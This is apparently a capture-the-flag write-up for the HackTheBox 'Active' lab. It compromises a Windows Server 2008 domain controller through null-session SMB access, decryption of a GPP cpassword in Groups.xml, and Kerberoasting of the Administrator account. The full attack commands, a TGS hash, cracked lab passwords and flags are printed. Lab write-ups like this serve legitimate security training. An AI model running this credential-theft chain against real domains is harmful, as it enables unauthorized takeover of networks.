Overview

The machine starts by SMB null auth enumeration that discovers a Replication share containing a Groups.xml file with a GPP-encrypted password, decrypting it yields credentials for SVC_TGS to access the Users share and grab the user flag, then Kerberoasting the domain reveals an Administrator TGS ticket that cracks offline to get full admin access over smb and read the root flag.

Enumeration

i will start with nmap for enumeration as usual

and as you can see a lot of Active Directory Ports so it is a DC Environment with the Domain name active.htb so add this to our hosts file

shell
sudo vi /etc/hosts
>
10.129.7.87 active.htb

Lets first try smb with guest account if we can access or not and this one also leaks that the name is DC so the FQDN would be DC.active.htb so add this also to hosts file and add the hostname only

one weird thing I've seen in the nmap results is this DNS version that mentions the server is 2008 which is pretty old and it leaks the DNS version which might be vulnerable to something so lets search it

plaintext
53/tcp    open  domain        Microsoft DNS 6.1.7601 (1DB15D39) (Windows Server 2008 R2 SP1)                 
| dns-nsid:
|_  bind.version: Microsoft DNS 6.1.7601 (1DB15D39) 

but i won't go though this rabbit hole right now

First i wanted to try different simple usernames and one was an empty username and password which somehow lets us read the shares and we see that we got read over a share called Replication so lets connect and see what is there

bash
┌─[]─[10.10.16.83]─[jimmex@attacker]─[~/htb/labs/active]
└──╼ [★]$ nxc smb 10.129.7.87 -u '' -p '' --shares
SMB 10.129.7.87 445 DC [*] Windows 7 / Server 2008 R2 Build 7601 x64 (name:DC) (domain:active.htb) (signing:True) (SMBv1:None) (Null Auth:True)
SMB 10.129.7.87 445 DC [+] active.htb\:
SMB 10.129.7.87 445 DC [*] Enumerated shares
SMB 10.129.7.87 445 DC Share Permissions Remark
SMB 10.129.7.87 445 DC ----- ----------- ------
SMB 10.129.7.87 445 DC ADMIN$ Remote Admin
SMB 10.129.7.87 445 DC C$ Default share
SMB 10.129.7.87 445 DC IPC$ Remote IPC
SMB 10.129.7.87 445 DC NETLOGON Logon server share
SMB 10.129.7.87 445 DC Replication READ
SMB 10.129.7.87 445 DC SYSVOL Logon server share
SMB 10.129.7.87 445 DC Users

Replication Share

Replication share looks like a synced share for the SYSVOL so lets download all files and take a look maybe we find some GPPs or something

bash
┌─[]─[10.10.16.83]─[jimmex@attacker]─[~/htb/labs/active]
└──╼ [★]$ smbclient //10.129.7.87/Replication -U''%''
Try "help" to get a list of possible commands.
smb: \> ls
  .                                   D        0  Sat Jul 21 03:37:44 2018
  ..                                  D        0  Sat Jul 21 03:37:44 2018
  active.htb                          D        0  Sat Jul 21 03:37:44 2018

                5217023 blocks of size 4096. 279764 blocks available
smb: \> cd active.htb\
smb: \active.htb\> ls
  .                                   D        0  Sat Jul 21 03:37:44 2018
  ..                                  D        0  Sat Jul 21 03:37:44 2018
  DfsrPrivate DHS 0 Sat Jul 21 03:37:44 2018
  Policies D 0 Sat Jul 21 03:37:44 2018
  scripts D 0 Wed Jul 18 11:48:57 2018

                5217023 blocks of size 4096. 279764 blocks available

there is a cleaner way to download all files but this one will just do it so lets take a look at that Groups.xml file

and By looking for this Groups.xml we'll see this

plaintext
┌─[]─[10.10.16.83]─[jimmex@attacker]─[~/htb/labs/active/active.htb/Policies/{31B2F340-016D-11D2-945F-00C04FB984F9}/MACHINE/Preferences/Groups]
└──╼ [★]$ cat Groups.xml 
<?xml version="1.0" encoding="utf-8"?>
<Groups clsid="{3125E937-EB16-4b4c-9934-544FC6D24D26}"><User clsid="{DF5F1855-51E5-4d24-8B1A-D9BDE98BA1D1}" name="active.htb\SVC_TGS" image="2" changed="2018-07-18 20:46:06" uid="{EF57DA28-5F69-4530-A59E-AAB58578219D}"><Properties action="U" newName="" fullName="" description="" cpassword="edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ" changeLogon="0" noChange="1" neverExpires="1" acctDisabled="0" userName="active.htb\SVC_TGS"/></User>
</Groups>

and as you can see we got this cpasswd <Properties action="U" newName="" fullName="" description="" cpassword="edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ" changeLogon="0" noChange="1" neverExpires="1" acctDisabled="0" userName="active.htb\SVC_TGS"/></User>

GPP

with what is cpasswd and GPP ?

cpassword is a Group Policy Preferences (GPP) encrypted password. Here's the background: When admins used GPP to set local admin passwords via Group Policy, Windows stored them in Groups.xml inside SYSVOL/Replication, readable by any domain user Microsoft encrypted them with AES-256... but then published the static decryption key in their own documentation (MS14-025) (funny story by mistake wink-wink) so lets try and decrypt it

xml
<Properties action="U" newName="" fullName="" description="" cpassword="edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ" changeLogon="0" noChange="1" neverExpires="1" acctDisabled="0" userName="active.htb\SVC_TGS"/></User>

and we got the password for the user `SVC_TGS

shell
┌─[]─[10.10.16.83]─[jimmex@attacker]─[~/htb/labs/active/active.htb/Policies/{31B2F340-016D-11D2-945F-00C04FB984F9}/MACHINE/Preferences/Groups]
└──╼ [★]$ gpp-decrypt edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ
GPPstillStandingStrong2k18

SVC_TGS Users Share

and as you can see we can authenticate and we got access to more shares so lets take a look at the shares if we can see anything

bash
─[10.10.16.83]─[jimmex@attacker]─[~/htb/labs/active]
└──╼ [★]$ nxc smb 10.129.7.87 -u 'SVC_TGS' -p 'GPPstillStandingStrong2k18'
SMB 10.129.7.87 445 DC [*] Windows 7 / Server 2008 R2 Build 7601 x64 (name:DC) (domain:active.htb) (signing:True) (SMBv1:None) (Null Auth:True)
SMB 10.129.7.87 445 DC [+] active.htb\SVC_TGS:GPPstillStandingStrong2k18
┌─[]─[10.10.16.83]─[jimmex@attacker]─[~/htb/labs/active]
└──╼ [★]$ nxc smb 10.129.7.87 -u 'SVC_TGS' -p 'GPPstillStandingStrong2k18' --shares
SMB 10.129.7.87 445 DC [*] Windows 7 / Server 2008 R2 Build 7601 x64 (name:DC) (domain:active.htb) (signing:True) (SMBv1:None) (Null Auth:True)
SMB 10.129.7.87 445 DC [+] active.htb\SVC_TGS:GPPstillStandingStrong2k18
SMB 10.129.7.87 445 DC [*] Enumerated shares
SMB 10.129.7.87 445 DC Share Permissions Remark
SMB 10.129.7.87 445 DC ----- ----------- ------
SMB 10.129.7.87 445 DC ADMIN$ Remote Admin
SMB 10.129.7.87 445 DC C$ Default share
SMB 10.129.7.87 445 DC IPC$ Remote IPC
SMB 10.129.7.87 445 DC NETLOGON READ Logon server share
SMB 10.129.7.87 445 DC Replication READ
SMB 10.129.7.87 445 DC SYSVOL READ Logon server share
SMB 10.129.7.87 445 DC Users READ

and as you can see, firstly i expected the Users to have some kind of configuration for Users not the actual users folder and we got the flag of the user

and here is the user flag

shell
┌─[]─[10.10.16.83]─[jimmex@attacker]─[~/htb/labs/active]
└──╼ [★]$ cat user.txt 
f43bb4d3c4716ebae86e0835698fad52

Users Share as Administrator

earlier i tried also the User with ldap and it worked so lets run rusthound and look at what this user can do and we got 5 users and 49 groups so lets take a look at that user

nothing came back useful for the bloodhound data so I decided to list all users and Kerberoast them and try AS-REP roast also I will list all users first

bash
┌─[]─[10.10.16.83]─[jimmex@attacker]─[~/htb/labs/active]
└──╼ [★]$ nxc ldap 10.129.7.87 -u 'SVC_TGS' -p 'GPPstillStandingStrong2k18' --users
LDAP 10.129.7.87 389 DC [*] Windows 7 / Server 2008 R2 Build 7601 (name:DC) (domain:active.htb) (signing:None) (chan
nel binding:No TLS cert)
LDAP 10.129.7.87 389 DC [+] active.htb\SVC_TGS:GPPstillStandingStrong2k18
LDAP 10.129.7.87 389 DC [*] Enumerated 4 domain users: active.htb
LDAP 10.129.7.87 389 DC -Username- -Last PW Set- -BadPW- -Description-

LDAP 10.129.7.87 389 DC Administrator 2018-07-18 12:06:40 0 Built-in account for administerin
g the computer/domain
LDAP 10.129.7.87 389 DC Guest < never> 0 Built-in account for guest access
 to the computer/domain
LDAP 10.129.7.87 389 DC krbtgt 2018-07-18 11:50:36 0 Key Distribution Center Service A
ccount
LDAP 10.129.7.87 389 DC SVC_TGS 2018-07-18 13:14:38 0

and as you can see we got hash for the administrator so lets try and crack it

bash
┌─[]─[10.10.16.83]─[jimmex@attacker]─[~/htb/labs/active]
└──╼ [★]$ nxc ldap 10.129.7.87 -u 'SVC_TGS' -p 'GPPstillStandingStrong2k18' --kerberoasting users
LDAP 10.129.7.87 389 DC [*] Windows 7 / Server 2008 R2 Build 7601 (name:DC) (domain:active.htb) (signing:None) (channel binding:No TLS cert)
LDAP 10.129.7.87 389 DC [+] active.htb\SVC_TGS:GPPstillStandingStrong2k18
LDAP 10.129.7.87 389 DC [*] Skipping disabled account: krbtgt
LDAP 10.129.7.87 389 DC [*] Total of records returned 1
LDAP 10.129.7.87 389 DC [*] sAMAccountName: Administrator, memberOf: ['CN=Group Policy Creator Owners,CN=Users,DC=active,DC=htb', 'CN=Domain Admins,CN=Users,DC=active,DC=htb' , 'CN=Enterprise Admins,CN=Users,DC=active,DC=htb' , 'CN=Schema Admins,CN=Users,DC=active,DC=htb' , 'CN=Administrators,CN=Builtin,DC=active,DC=htb' ], pwdLastSet: 2018-07-18 12:06:40.351723, lastLogon: 2026-06-02 05:19:13.807343
LDAP 10.129.7.87 389 DC $krb5tgs$23$*Administrator$ACTIVE.HTB$active.htb\Administrator*$5243e5fe8aab6d6b8712c11e95e9efc4$c6c09dbec6644d351605034c95a49617f19892a1969e70295e52b80759fb6c1c1229d58e6dfaeef980f982c32fe67e51cb50e1a035431abf65412c1c2ed28a5522593590fbbd51bcfd1234e4bac7404e3a8f6825f30720a579e98b713245e45a747e5e52b6dd3dc4181346fa52f2dd0f80e08917b93d41b04450afbdd9866d96e08cc64a4697d5371fc002d54c643443ff7706c9e0a78f6eb87788dc1ac7bc48e7eeb104ae330cad614212d4a95429605bb3a490b7889e9bea5c3e01001723fb3982a8945d08d7894e8afa284b07943535c44c0f1e83a76161fc9b970fe0ac1275f77836be11b4a787649550f0e9639354e0ed9cd2128f0458062f8b932b5cb389c7ba5b2db79b8cc8d200de569f5d8e926e916472bb53df9667484ad945e769e351269bf57aa42addc63c64cce2af0b39010a04a6f2ad75fdd5f0ec16c2cbec19d21a1515c1cec4d36d1f9e32ea39ade050b9adfd0868857757b66a8f6646d277c3e71ff86359a70cee22b524d55a1f3688d87ede20303215ea15b76a1b19a4ea34da5a679601ed3a0721ea4be39e263286b49bc796f1a6be4c8747c124903cfc954812676bba4b2723a945511ec1afa9baa2f119c818e3fc730aec3f1779aa2169b2574b9eaf124cc9b1ab38db17e7bb81ba993eec04ad3d8651f1b31ca9dd98fae24fb8a5ccf4ead11cafd1a2fc357a6341a99b5ea420ef7cf53cd52259b12ebca571c642094bba9a3aca76e8ec05930f17b2fc133e0a9c3e8bd7f77042993249b2618808c585e3555b934273c6410bc7bffc5bb0d2f096816dad98a247dc50eb338349398700e7d80cb15ba6baaba82d67352853e0bd9c50bfdb74d4f96168e61bf7d2dc847f9380a1cd3f79b01a897e6ca8f28a3322b82c5e47bfbf2e0725b4b2bc3842d96f86773b6b2780a936dd0690b11573149aec45df9f7db1851a2753c7fe3d15b4eeb90b6fdb5e2670954888c5bb92d89e4a7ab3612b05320f46bf11b5e6622a5d7ee4b89d14b66e4cfe265911750ba036bbf81fba858e0f35ab61f1eb145352d310b713bf48be930ef6a49d429721e5638a3bca7fa26e8cdc025e722e6740aa247d0ba22d15b817dec42386f2815ed7f56060295dd3d6802953b80325c5008d2fcfaded25c86982a0e0e38ba6ea31d7a24a78dda1a6a558a041db574ac8a84ad73ae49e6cc5ef9403605f05406b9e93b47fe37143d35a412fb45536df2dc8c0127911ad10f725fdbebc6c0e85c1be4982ca51ce

and as you can see we cracked the administrator hash I won't even bother looking for WINRM or a shell i will just grab it from the share

and we got root flag

bash
┌─[]─[10.10.16.83]─[jimmex@attacker]─[~/htb/labs/active]
└──╼ [★]$ smbclient //10.129.7.87/Users -U'Administrator'%'Ticketmaster1968' -c 'ls Administrator\Desktop\'
  .                                  DR        0  Thu Jan 21 08:49:47 2021
  ..                                 DR        0  Thu Jan 21 08:49:47 2021
  desktop.ini                       AHS      282  Mon Jul 30 06:50:10 2018
  root.txt                           AR       34  Tue Jun  2 05:19:11 2026

                5217023 blocks of size 4096. 279492 blocks available
┌─[]─[10.10.16.83]─[jimmex@attacker]─[~/htb/labs/active]
└──╼ [★]$ smbclient //10.129.7.87/Users -U'Administrator'%'Ticketmaster1968' -c 'get Administrator\Desktop\root.txt root.txt'
getting file \Administrator\Desktop\root.txt of size 34 as root.txt (0.1 KiloBytes/sec) (average 0.1 KiloBytes/sec)
┌─[]─[10.10.16.83]─[jimmex@attacker]─[~/htb/labs/active]
└──╼ [★]$ cat root.txt 
7cdb36e03c6f6dcd1aca6f6b8a7bf610

Resources

there is not much we have for this box you can look at my Kerberoasting blog here